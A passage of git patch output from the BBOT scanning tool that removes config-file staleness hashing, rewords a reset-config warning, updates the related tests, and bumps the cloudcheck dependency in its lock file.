recognized. If they are left over from an " + f"older version of BBOT, regenerate it from current defaults with: bbot {spec['reset_flag']}" + ) + return baked_preset = preset.bake() # --current-preset / --current-preset-full diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 216bd8915a..cee81ef6f2 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -7,7 +7,6 @@ import atexit import shutil import pickle -import hashlib import logging import tempfile import importlib @@ -1064,16 +1063,13 @@ def filter_modules(self, modules=None, mod_type=None): module_list.sort(key=lambda x: x[-1]["type"], reverse=True) return module_list - # header line that stamps the option set a config file was generated against - _config_hash_prefix = "bbot-config-hash: " - def _generated_config_files(self): """The config files BBOT generates, each paired with the content it should currently hold and the CLI flag that regenerates it. - Creation, staleness detection, and reset all iterate this list, so the - two files stay fully independent: a `secrets.yml` full of API keys is - never touched just because `bbot.yml`'s options changed, and vice versa. + Creation and reset both iterate this list, so the two files stay fully + independent: a `secrets.yml` full of API keys is never touched just + because `bbot.yml`'s options changed, and vice versa. """ files = self.core.files_config config_obj = dict(self.core.default_config) @@ -1098,9 +1094,7 @@ def ensure_config_files(self): """Create any of the user's generated config files that are missing. Each file is a fully-commented snapshot of the current defaults, - written once and never overwritten, carrying a hash of its own option - key-paths in its header so a later run can tell (via - `stale_config_files`) whether that file's options have since changed. + written once and never overwritten. """ mkdir(self.core.files_config.config_dir) for spec in self._generated_config_files(): @@ -1108,20 +1102,6 @@ def ensure_config_files(self): log_to_stderr(f"Creating BBOT {spec['label']} at {spec['path']}") self._write_config_template(spec["path"], spec["content"], secret=spec["secret"]) - def stale_config_files(self): - """Generated config files that exist but were stamped against a - different option set, or predate stamping (no header stamp). Each - returned spec includes the file path and the CLI flag that regenerates - just that file.""" - stale = [] - for spec in self._generated_config_files(): - if not spec["path"].exists(): - continue - stored_hash = self._read_config_hash(spec["path"]) - if stored_hash is None or stored_hash != self._config_schema_hash(spec["content"]): - stale.append(spec) - return stale - def reset_config_files(self, labels): """Regenerate the named generated config files (`"config"` and/or `"secrets"`) from current defaults, backing up existing files to @@ -1156,23 +1136,11 @@ def _next_backup_path(path): i += 1 return backup - @classmethod - def _read_config_hash(cls, path): - """Read the option-set stamp from a config file's header, or None if it - has no stamp (e.g. a config generated before stamping existed).""" - marker = f"# {cls._config_hash_prefix}" - with open(path) as f: - for line in f: - if line.startswith(marker): - return line[len(marker) :].strip() - return None - @classmethod def _write_config_template(cls, path, config_dict, secret=False): header = ( "# NOTICE: THESE ENTRIES ARE COMMENTED BY DEFAULT\n" "# Please be sure to uncomment when inserting API keys, etc.\n" - f"# {cls._config_hash_prefix}{cls._config_schema_hash(config_dict)}\n" ) yaml_str = yaml.dump(config_dict, sort_keys=False) yaml_str = header + "\n".join(f"# {line}" for line in yaml_str.splitlines()) @@ -1210,23 +1178,5 @@ def _write_secret_text(path, text): os.unlink(tmp) raise - @classmethod - def _config_schema_hash(cls, config_obj): - """Hash the set of option key-paths (not their values), so the stamp - only changes when options are added, removed, or renamed.""" - paths = "\n".join(sorted(cls._config_leaf_paths(config_obj))) - return hashlib.sha256(paths.encode()).hexdigest() - - @classmethod - def _config_leaf_paths(cls, config_obj, prefix=""): - paths = [] - for key, value in config_obj.items(): - path = f"{prefix}{key}" - if isinstance(value, dict) and value: - paths.extend(cls._config_leaf_paths(value, prefix=f"{path}.")) - else: - paths.append(path) - return paths - MODULE_LOADER = ModuleLoader() diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index e175725522..0ebfa1aabe 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -925,7 +925,6 @@ async def test_cli_no_color(monkeypatch): @pytest.mark.asyncio async def test_cli_reset_config(monkeypatch, caplog, tmp_path): from bbot.core import CORE - from bbot.core.modules import MODULE_LOADER monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) @@ -938,17 +937,8 @@ async def test_cli_reset_config(monkeypatch, caplog, tmp_path): config_file = tmp_path / "bbot.yml" secrets_file = tmp_path / "secrets.yml" - config_hash = MODULE_LOADER._config_schema_hash(CORE.no_secrets_config(dict(CORE.default_config))) - - # a stale bbot.yml on disk (wrong stamp) - config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n# strict: false\n") - - # a normal run warns about the stale file and names its reset flag - monkeypatch.setattr("sys.argv", ["bbot", "--version"]) - caplog.clear() - await cli._main() - assert "was generated with an older version of bbot" in caplog.text - assert "--reset-config" in caplog.text + # a customized bbot.yml on disk + config_file.write_text("scope:\n strict: false\n") # without --yes and no TTY, it refuses and changes nothing monkeypatch.setattr("sys.argv", ["bbot", "--reset-config"]) @@ -956,7 +946,7 @@ async def test_cli_reset_config(monkeypatch, caplog, tmp_path): await cli._main() assert "Refusing to reset config without confirmation" in caplog.text assert not (tmp_path / "bbot.yml.bak").exists() - assert MODULE_LOADER._read_config_hash(config_file) == "deadbeef" + assert config_file.read_text() == "scope:\n strict: false\n" # --reset-config -y regenerates bbot.yml and backs it up, but never touches secrets.yml monkeypatch.setattr("sys.argv", ["bbot", "--reset-config", "-y"]) @@ -964,7 +954,8 @@ async def test_cli_reset_config(monkeypatch, caplog, tmp_path): await cli._main() assert "Regenerated config files" in caplog.text assert (tmp_path / "bbot.yml.bak").is_file() - assert MODULE_LOADER._read_config_hash(config_file) == config_hash + assert (tmp_path / "bbot.yml.bak").read_text() == "scope:\n strict: false\n" + assert "# NOTICE" in config_file.read_text() assert not (tmp_path / "secrets.yml.bak").exists() # --reset-secrets -y regenerates secrets.yml (owner-only) and backs it up @@ -973,3 +964,55 @@ async def test_cli_reset_config(monkeypatch, caplog, tmp_path): await cli._main() assert (tmp_path / "secrets.yml.bak").is_file() assert stat.S_IMODE(secrets_file.stat().st_mode) & 0o077 == 0 + + +@pytest.mark.asyncio +async def test_cli_reset_config_hint(monkeypatch, caplog, tmp_path): + from bbot.core import CORE + + monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) + monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) + caplog.set_level(logging.INFO) + + files = CORE.files_config + monkeypatch.setattr(files, "config_dir", tmp_path) + monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") + monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") + + # a bbot.yml carrying an option that no longer exists (e.g. left over from + # an older version of BBOT), loaded into the config + (tmp_path / "bbot.yml").write_text("scope:\n strct: false\n") + monkeypatch.setattr(CORE, "_custom_config", {"scope": {"strct": False}}) + + monkeypatch.setattr("sys.argv", ["bbot", "-t", "example.com"]) + caplog.clear() + await cli._main() + + # validation fails on the bad option, and (because it lives in bbot.yml) we + # point the user at --reset-config -- but not at --reset-secrets + assert "scope.strct" in caplog.text + assert "regenerate it from current defaults with: bbot --reset-config" in caplog.text + assert "--reset-secrets" not in caplog.text + + +@pytest.mark.asyncio +async def test_cli_reset_config_hint_skips_cli_typo(monkeypatch, caplog, tmp_path): + from bbot.core import CORE + + monkeypatch.setattr(sys, "exit", lambda *args, **kwargs: True) + monkeypatch.setattr(os, "_exit", lambda *args, **kwargs: True) + caplog.set_level(logging.INFO) + + files = CORE.files_config + monkeypatch.setattr(files, "config_dir", tmp_path) + monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") + monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") + + # the bad option comes from the CLI, not from any config file on disk + monkeypatch.setattr("sys.argv", ["bbot", "-t", "example.com", "-c", "scope.strct=false"]) + caplog.clear() + await cli._main() + + # validation still fails, but there's nothing to reset -- so no hint + assert "scope.strct" in caplog.text + assert "regenerate it from current defaults" not in caplog.text diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 8ab8c7ce93..fa2be51253 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1461,11 +1461,7 @@ def test_config_isolated_during_tests(): assert str(config_dir).startswith(str(Path(tempfile.gettempdir()).resolve())) -def _stale_labels(module_loader): - return {spec["label"] for spec in module_loader.stale_config_files()} - - -def test_config_reset_and_staleness(tmp_path, monkeypatch): +def test_config_reset(tmp_path, monkeypatch): from bbot.core import CORE from bbot.core.modules import MODULE_LOADER @@ -1476,37 +1472,22 @@ def test_config_reset_and_staleness(tmp_path, monkeypatch): config_file = tmp_path / "bbot.yml" secrets_file = tmp_path / "secrets.yml" - # the two files are stamped with independent, different hashes - config_hash = MODULE_LOADER._config_schema_hash(CORE.no_secrets_config(dict(CORE.default_config))) - secrets_hash = MODULE_LOADER._config_schema_hash(CORE.secrets_only_config(dict(CORE.default_config))) - assert config_hash != secrets_hash - - # no config on disk yet -> nothing stale - assert _stale_labels(MODULE_LOADER) == set() - - # first run: files don't exist -> generated, each stamped with its own hash + # first run: files don't exist -> generated as commented templates MODULE_LOADER.ensure_config_files() assert config_file.is_file() and secrets_file.is_file() - assert MODULE_LOADER._read_config_hash(config_file) == config_hash - assert MODULE_LOADER._read_config_hash(secrets_file) == secrets_hash - assert _stale_labels(MODULE_LOADER) == set() # secrets.yml is owner-only from the start assert stat.S_IMODE(secrets_file.stat().st_mode) == 0o600 - # only bbot.yml goes stale -> detection flags only "config" - config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n# strict: false\n") - assert _stale_labels(MODULE_LOADER) == {"config"} - # a pre-stamp (2.x) file (no header stamp) is also stale - config_file.write_text("# NOTICE\n# scope:\n# strict: false\n") - assert MODULE_LOADER._read_config_hash(config_file) is None - assert _stale_labels(MODULE_LOADER) == {"config"} - - # resetting "config" must not touch secrets.yml (where API keys live) + # resetting "config" backs up the existing file and must not touch + # secrets.yml (where API keys live) + config_file.write_text("scope:\n strict: false\n") secrets_before = secrets_file.read_text() backups = MODULE_LOADER.reset_config_files(["config"]) assert set(backups) == {tmp_path / "bbot.yml.bak"} + assert (tmp_path / "bbot.yml.bak").read_text() == "scope:\n strict: false\n" assert secrets_file.read_text() == secrets_before - assert _stale_labels(MODULE_LOADER) == set() + # the regenerated file is a fresh commented template + assert "# NOTICE" in config_file.read_text() # a backup of a hardened secrets.yml keeps its tightened permissions secrets_file.chmod(0o400) @@ -1522,21 +1503,7 @@ def test_config_reset_and_staleness(tmp_path, monkeypatch): assert (tmp_path / "secrets.yml.bak").is_file() -def test_config_schema_hash_is_structural(): - from bbot.core.modules import MODULE_LOADER - - base = {"web": {"http_timeout": 10}, "scope": {"strict": False}} - # value changes don't move the hash - assert MODULE_LOADER._config_schema_hash(base) == MODULE_LOADER._config_schema_hash( - {"web": {"http_timeout": 99}, "scope": {"strict": True}} - ) - # a renamed/added/removed option does - assert MODULE_LOADER._config_schema_hash(base) != MODULE_LOADER._config_schema_hash( - {"web": {"http_timeout_target": 10}, "scope": {"strict": False}} - ) - - -def test_config_reset_both_and_independent_detection(tmp_path, monkeypatch): +def test_config_reset_both(tmp_path, monkeypatch): from bbot.core import CORE from bbot.core.modules import MODULE_LOADER @@ -1545,23 +1512,18 @@ def test_config_reset_both_and_independent_detection(tmp_path, monkeypatch): monkeypatch.setattr(files, "config_filename", tmp_path / "bbot.yml") monkeypatch.setattr(files, "secrets_filename", tmp_path / "secrets.yml") config_file = tmp_path / "bbot.yml" - secrets_file = tmp_path / "secrets.yml" MODULE_LOADER.ensure_config_files() - assert _stale_labels(MODULE_LOADER) == set() - # only secrets.yml goes stale -> detection flags only "secrets" - secrets_file.write_text("# bbot-config-hash: deadbeef\n# interactsh_token:\n") - assert _stale_labels(MODULE_LOADER) == {"secrets"} - - # break both -> both reported - config_file.write_text("# bbot-config-hash: deadbeef\n# scope:\n") - assert _stale_labels(MODULE_LOADER) == {"config", "secrets"} - - # reset both at once + # reset both at once -> both backed up backups = MODULE_LOADER.reset_config_files(["config", "secrets"]) assert {b.name for b in backups} == {"bbot.yml.bak", "secrets.yml.bak"} - assert _stale_labels(MODULE_LOADER) == set() + + # resetting only "secrets" leaves bbot.yml untouched + config_before = config_file.read_text() + backups = MODULE_LOADER.reset_config_files(["secrets"]) + assert set(backups) == {tmp_path / "secrets.yml.bak.1"} + assert config_file.read_text() == config_before def test_config_secret_file_permissions(tmp_path): From 5f29c5b5d7c31e654cdcb067e6dea402dd3e390c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 25 Jun 2026 13:36:33 -0400 Subject: [PATCH 899/912] Reword reset-config hint as informative warning --- bbot/cli.py | 7 ++++--- bbot/test/test_step_1/test_cli.py | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 3f6e4fc57c..1687966594 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -219,9 +219,10 @@ async def _main(): if isinstance(file_config, dict) and validate_preset( {"config": file_config}, module_loader=preset.module_loader ): - log.info( - f"Some options in {spec['path']} are not recognized. If they are left over from an " - f"older version of BBOT, regenerate it from current defaults with: bbot {spec['reset_flag']}" + log.warning( + f"Some options in {spec['path']} are not recognized. They may be left over from an " + f"older version of BBOT. You have the option of regenerating from current defaults " + f"with: bbot {spec['reset_flag']}" ) return baked_preset = preset.bake() diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index 0ebfa1aabe..c828aa2a92 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -991,7 +991,7 @@ async def test_cli_reset_config_hint(monkeypatch, caplog, tmp_path): # validation fails on the bad option, and (because it lives in bbot.yml) we # point the user at --reset-config -- but not at --reset-secrets assert "scope.strct" in caplog.text - assert "regenerate it from current defaults with: bbot --reset-config" in caplog.text + assert "regenerating from current defaults with: bbot --reset-config" in caplog.text assert "--reset-secrets" not in caplog.text @@ -1015,4 +1015,4 @@ async def test_cli_reset_config_hint_skips_cli_typo(monkeypatch, caplog, tmp_pat # validation still fails, but there's nothing to reset -- so no hint assert "scope.strct" in caplog.text - assert "regenerate it from current defaults" not in caplog.text + assert "regenerating from current defaults" not in caplog.text From b2caf50fb86eacde7c82c0ec26ca61c695539c49 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 25 Jun 2026 15:17:56 -0400 Subject: [PATCH 900/912] Bump cloudcheck to 11.1 --- pyproject.toml | 2 +- uv.lock | 212 ++++++++++++++++++++++++------------------------- 2 files changed, 107 insertions(+), 107 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index f96350ddb6..5de720a256 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", - "cloudcheck>=11.0.0,<12", + "cloudcheck>=11.1,<12", "blasthttp>=0.9.0", "blastdns>=1.9.0,<2", "zstandard>=0.22,<1", diff --git a/uv.lock b/uv.lock index 07a90f06da..644999fa22 100644 --- a/uv.lock +++ b/uv.lock @@ -265,7 +265,7 @@ requires-dist = [ { name = "blastdns", specifier = ">=1.9.0,<2" }, { name = "blasthttp", specifier = ">=0.9.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, - { name = "cloudcheck", specifier = ">=11.0.0,<12" }, + { name = "cloudcheck", specifier = ">=11.1,<12" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, { name = "idna", specifier = ">=3.4,<4" }, @@ -299,7 +299,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ { name = "baddns", specifier = "~=2.4.0" }, - { name = "fastapi", specifier = ">=0.115.5,<0.137.0" }, + { name = "fastapi", specifier = ">=0.115.5,<0.139.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<10" }, @@ -311,7 +311,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.17" }, + { name = "ruff", specifier = "==0.15.18" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.50" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -714,88 +714,88 @@ wheels = [ [[package]] name = "cloudcheck" -version = "11.0.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/eb/e7/9f8370dcfc545c2c1dbb16be805c1dd87addfe1bfb26ebb907680f82b177/cloudcheck-11.0.0.tar.gz", hash = "sha256:adcfd47c31d15949b711c623b127280d2c509735b1c92a218c7c909400756204", size = 4910254, upload-time = "2026-06-17T18:35:38.72Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a0/ca/d85b804c45dd0d6e7354f38cc39a2f02570b6ef18dd98b5657987d93d6ec/cloudcheck-11.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:96412e8280724a76e565e70d11dde1368bf91db5c0322cfb2c585a4747103de3", size = 4234022, upload-time = "2026-06-17T18:49:09.692Z" }, - { url = "https://files.pythonhosted.org/packages/98/bd/457c9b765b4c967573fbda23f1adf2b8af4d29f27c99b58b99baf08d8f5f/cloudcheck-11.0.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:fd25016f3bcb9946a99baabdb5af1fd6c747b846a7d1a272e9f461d120003ec6", size = 3585911, upload-time = "2026-06-17T18:49:20.773Z" }, - { url = "https://files.pythonhosted.org/packages/48/7e/49b7f387186ef80a53c5bf4e8d16d84ed293d2da186bd93aa46d8bf810f1/cloudcheck-11.0.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f206ee1a06934c903a2bb1e426804d38894a0df8868205f15b8e24ffbd1a4a80", size = 4168404, upload-time = "2026-06-17T18:49:43.213Z" }, - { url = "https://files.pythonhosted.org/packages/70/a8/b7cb93df79f47616a987e3364d3714d032aa11301b907a0fca0a640e591a/cloudcheck-11.0.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dbc413e1c24fb88d170623a4761a4719e1a31546f38dee3184073b79d9b15168", size = 4081776, upload-time = "2026-06-17T18:49:31.431Z" }, - { url = "https://files.pythonhosted.org/packages/32/ac/766303f2331ecb2521e81ba6c1b819469ba5dcd2cc4d1a35534ef8909862/cloudcheck-11.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5c724c112602be91042a76826c0df3fc9b331cb7544942eacb3edc4f0657cc1", size = 4029917, upload-time = "2026-06-17T18:49:54.598Z" }, - { url = "https://files.pythonhosted.org/packages/eb/9c/f5eda2760139e5ad93deb6b7cf1132ec58ec171720fab3bf3705bb3c74a8/cloudcheck-11.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:6cad5368a3aa7c401e76767b1bc4f123eb141d4579d9e51987d3204c2fcddd88", size = 4638848, upload-time = "2026-06-17T18:50:17.398Z" }, - { url = "https://files.pythonhosted.org/packages/dd/6f/c95152674fc385154fbd1d0fe147bf7e33ed14e6d4948e5c513214f144a5/cloudcheck-11.0.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:1874330c7144d8437152a4ddb4f21ddd093a148d40298608bf4eb85e91db8aa9", size = 3916658, upload-time = "2026-06-17T18:50:28.659Z" }, - { url = "https://files.pythonhosted.org/packages/ee/81/ab01da0c83f0b631fc6c364079afd5c9f5cee0a5d6600dbf03631ef10299/cloudcheck-11.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:45a43c571f163400ed442cd47a3afd28aa13314ba799e0e3610f4964881d8ea6", size = 4260121, upload-time = "2026-06-17T18:50:39.49Z" }, - { url = "https://files.pythonhosted.org/packages/64/f1/6b4950b97fcd240c0ac73b5823b050a5f8606083f74096f51c322458c7a0/cloudcheck-11.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eb083a470d07cd99235702c4e162d9d622e564911900421688f87b29a4373b33", size = 4292000, upload-time = "2026-06-17T18:50:50.171Z" }, - { url = "https://files.pythonhosted.org/packages/cd/9b/792ae2027fa5ac6009110f9d3ed42995cb653d0e0f83ac6c8335d89bdc34/cloudcheck-11.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:e6c7e92e9e535e6d3010a88b25782bd124f24964df7972bef4ce9d99f8f3758a", size = 1416232, upload-time = "2026-06-17T18:51:01.443Z" }, - { url = "https://files.pythonhosted.org/packages/5a/49/11c8f3af3915b1858035e81a07b1246f14f15bda312d070b86d67382893f/cloudcheck-11.0.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:fb6ccb94221452a6372b045062f1af620f8b383b53899860b8d18e0be0705a6d", size = 1631269, upload-time = "2026-06-17T18:50:11.206Z" }, - { url = "https://files.pythonhosted.org/packages/2c/bc/e5fd610a5f73e3d53760337504cd7ee8dc86ced85dafa0f6e8a22e201ff0/cloudcheck-11.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:acec1b3692bd7e9bdbba8fd6df185c4ec3661766500377cff715afcb030c4907", size = 1607876, upload-time = "2026-06-17T18:50:05.438Z" }, - { url = "https://files.pythonhosted.org/packages/0f/f4/fca60d2732a8ad06654cbe641db32840e6ac8462a29123cef091f14d590d/cloudcheck-11.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8fcb87df6373328f2be76363bb476d8757cb78ab03d2b394a3612790bd5b6b1", size = 4233435, upload-time = "2026-06-17T18:49:11.354Z" }, - { url = "https://files.pythonhosted.org/packages/c2/ab/b37d88d0b16607e155680bd0dfe949feb69747b656e5113b1cf37281f025/cloudcheck-11.0.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8ec147f19d687d5474d95af0ca0c05bd2911512c4daddc484cb6cc76ece6d2f", size = 3584297, upload-time = "2026-06-17T18:49:22.21Z" }, - { url = "https://files.pythonhosted.org/packages/75/73/0170bd1f6142b21620a436b7e9d4cdd19050c3993b0fc7b3adec2ea7c323/cloudcheck-11.0.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b97b5cc49bdcf7713027cfb42b252374381106c0ffcc7c48329f62a814beb4b", size = 4168989, upload-time = "2026-06-17T18:49:44.806Z" }, - { url = "https://files.pythonhosted.org/packages/92/bb/60f29bdcc7070e78dc9a4a7aa78cd07b72a89b33275a2b5d13a6ddbc7f58/cloudcheck-11.0.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cfcc0df7b3eec846e2f064e5d652ed4889584c29fa1da0723fd1aa71f0f66386", size = 4081420, upload-time = "2026-06-17T18:49:33.024Z" }, - { url = "https://files.pythonhosted.org/packages/be/7c/59c5f9b39ee2976987c418915c197cd2a050b475567d2d0caf34789d75f0/cloudcheck-11.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cddfe7d4859b3493cca6a769c7ef82523af1a200f439c4483a1b9ce8030eb3ed", size = 4029820, upload-time = "2026-06-17T18:49:56.221Z" }, - { url = "https://files.pythonhosted.org/packages/fa/35/1a5e9e821f5d3ebe235208c26ea3b73e47da9f7962449f4d2e15bfa1ac00/cloudcheck-11.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fb445a240b60c4f8e536201c49e2a1cdb76f1ef63a8cd86566e3957e5f4f2650", size = 4637773, upload-time = "2026-06-17T18:50:18.851Z" }, - { url = "https://files.pythonhosted.org/packages/a9/9c/6f63b787c32880518e3bab24197d7d8173be5b193dbd65517b03c0978df3/cloudcheck-11.0.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8da4dbe5766a723deb6430e54c3a11fae67fe0aaed5a3f07d231f4fcd0b63752", size = 3914421, upload-time = "2026-06-17T18:50:30.148Z" }, - { url = "https://files.pythonhosted.org/packages/d0/b2/1d0d2742f577d819c7b72e747bbc69834609331601b79c469ef4eef9cd77/cloudcheck-11.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0e7764459fe14e316de5c16daf508edb96d4cf3844482b42975db847ec47a061", size = 4262605, upload-time = "2026-06-17T18:50:41.206Z" }, - { url = "https://files.pythonhosted.org/packages/2f/b0/39dcefec223fc11ab464cee67ae60f174942eaa4651be2ce1968dc1cc24b/cloudcheck-11.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c5d649b685a9cab5a7a9b8061c77e0daeff9ec8a5329be4e90d1eb3afdc5430b", size = 4291781, upload-time = "2026-06-17T18:50:51.729Z" }, - { url = "https://files.pythonhosted.org/packages/3e/01/150722d68ef1877afeccae0bb58237ec69eaec2fd3f580c781e7b6dbf892/cloudcheck-11.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:f3b9f85adc185cb4ec24206bd3a5593fa9fc6aa42e14a54a59e97784ddf6a818", size = 1415259, upload-time = "2026-06-17T18:51:03.12Z" }, - { url = "https://files.pythonhosted.org/packages/2f/ab/be5d3751657886e34db37fd1460de76dfc582b1c0c4f5b0685a9085eec4a/cloudcheck-11.0.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a9eebbd4d17b80c1e2f37d0f43ec255fde529ed614dc6244878f8a649011af79", size = 1628584, upload-time = "2026-06-17T18:50:12.552Z" }, - { url = "https://files.pythonhosted.org/packages/df/38/1d34849f7dc36404c88f7b7e351bb62b0de17f27a1c7cddcfba80bb868ee/cloudcheck-11.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0071b2f4f94ab1af624569c9fdf1ed2aa42a1b639709b2e02055147fddc451ad", size = 1604217, upload-time = "2026-06-17T18:50:07.008Z" }, - { url = "https://files.pythonhosted.org/packages/1d/a9/ef80b6be4d88ba5423de6a3efe010ba953a5c2b1f6b189acd4e05480776c/cloudcheck-11.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8fb9c6ada74499c68b0039f7de3d7bcc7aa886e1357648dc6c69ae23da3b69ce", size = 4231904, upload-time = "2026-06-17T18:49:12.823Z" }, - { url = "https://files.pythonhosted.org/packages/42/45/76b522ebcca6d98c1834d29a93ca3db0aa533345dd90c936fd6332db1ef7/cloudcheck-11.0.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cc7da633c2846de4e8207810c6b5f15db76c88523b44ea0a5b23b7c17fbf592d", size = 3582644, upload-time = "2026-06-17T18:49:23.608Z" }, - { url = "https://files.pythonhosted.org/packages/f3/4e/39a6174ffb3b632ca217e2812d81038389c5903cf63b9ff7f51a63c3241d/cloudcheck-11.0.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fc0a72c9547013ebe5751c78ef1d9f2b3cf13a26854cd6ee8c6cc4d4c0104fe4", size = 4162722, upload-time = "2026-06-17T18:49:46.222Z" }, - { url = "https://files.pythonhosted.org/packages/52/5d/f77d5c79cb245c55491aa079bfdd2afb7c5dbe24f953fa49d25ac39bd60a/cloudcheck-11.0.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e9e540e9a0ca2e5a15b6822eaa7b6d52df4f1592ec77a961bf51edf775ba3d2", size = 4078489, upload-time = "2026-06-17T18:49:34.641Z" }, - { url = "https://files.pythonhosted.org/packages/39/e5/fec563ddfc672fc00383899554a0d626748772767303dc355f283b544dff/cloudcheck-11.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c7a7954d05741b90949ca10b7be914a00a6f679ea9fdaa152fcb01069ee6b7b3", size = 4025138, upload-time = "2026-06-17T18:49:57.523Z" }, - { url = "https://files.pythonhosted.org/packages/dd/c7/84e2b1341397b2c5c20389de87d7dfc9ff04946df1f455424109b79bc645/cloudcheck-11.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a68564bc12ff00f489c364358b1bdde320b85926fc9724cddd5b65d6bf481d11", size = 4635624, upload-time = "2026-06-17T18:50:20.674Z" }, - { url = "https://files.pythonhosted.org/packages/38/0e/f10591970d4bac4b0a908e7c323c344db5c283a33b10585abcdd64231744/cloudcheck-11.0.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a73d342d62e6c57e1630d9739b319cc5d56694075c3aa6bc2c360970cad6a155", size = 3911405, upload-time = "2026-06-17T18:50:31.73Z" }, - { url = "https://files.pythonhosted.org/packages/c8/5c/61ad7887f7d165d0a42ddaefd0e2329b8c9281461bcb8693e88c028231ad/cloudcheck-11.0.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:66960ce86b07bcb3d24b53dfda39f14a613480cc304e948a299f4284eb538412", size = 4250752, upload-time = "2026-06-17T18:50:42.714Z" }, - { url = "https://files.pythonhosted.org/packages/89/81/36c3d9b0b0280ccbc98c2ecc20858d87b31d101197d659b3cf3fb9e006b9/cloudcheck-11.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a68d3c784391e412d0c2136e1df511d22fd97b3e4e6ab62ac1ba7376416b4901", size = 4288909, upload-time = "2026-06-17T18:50:53.507Z" }, - { url = "https://files.pythonhosted.org/packages/83/9f/e393b0df8a3953c28ebe8438d054363f5a8e5f7567262d5265b40ea9dee7/cloudcheck-11.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:568a6f9ba63a20579e25ee7a5b575d0b3741152633a3fe28ae56da0023444c1d", size = 1413218, upload-time = "2026-06-17T18:51:04.683Z" }, - { url 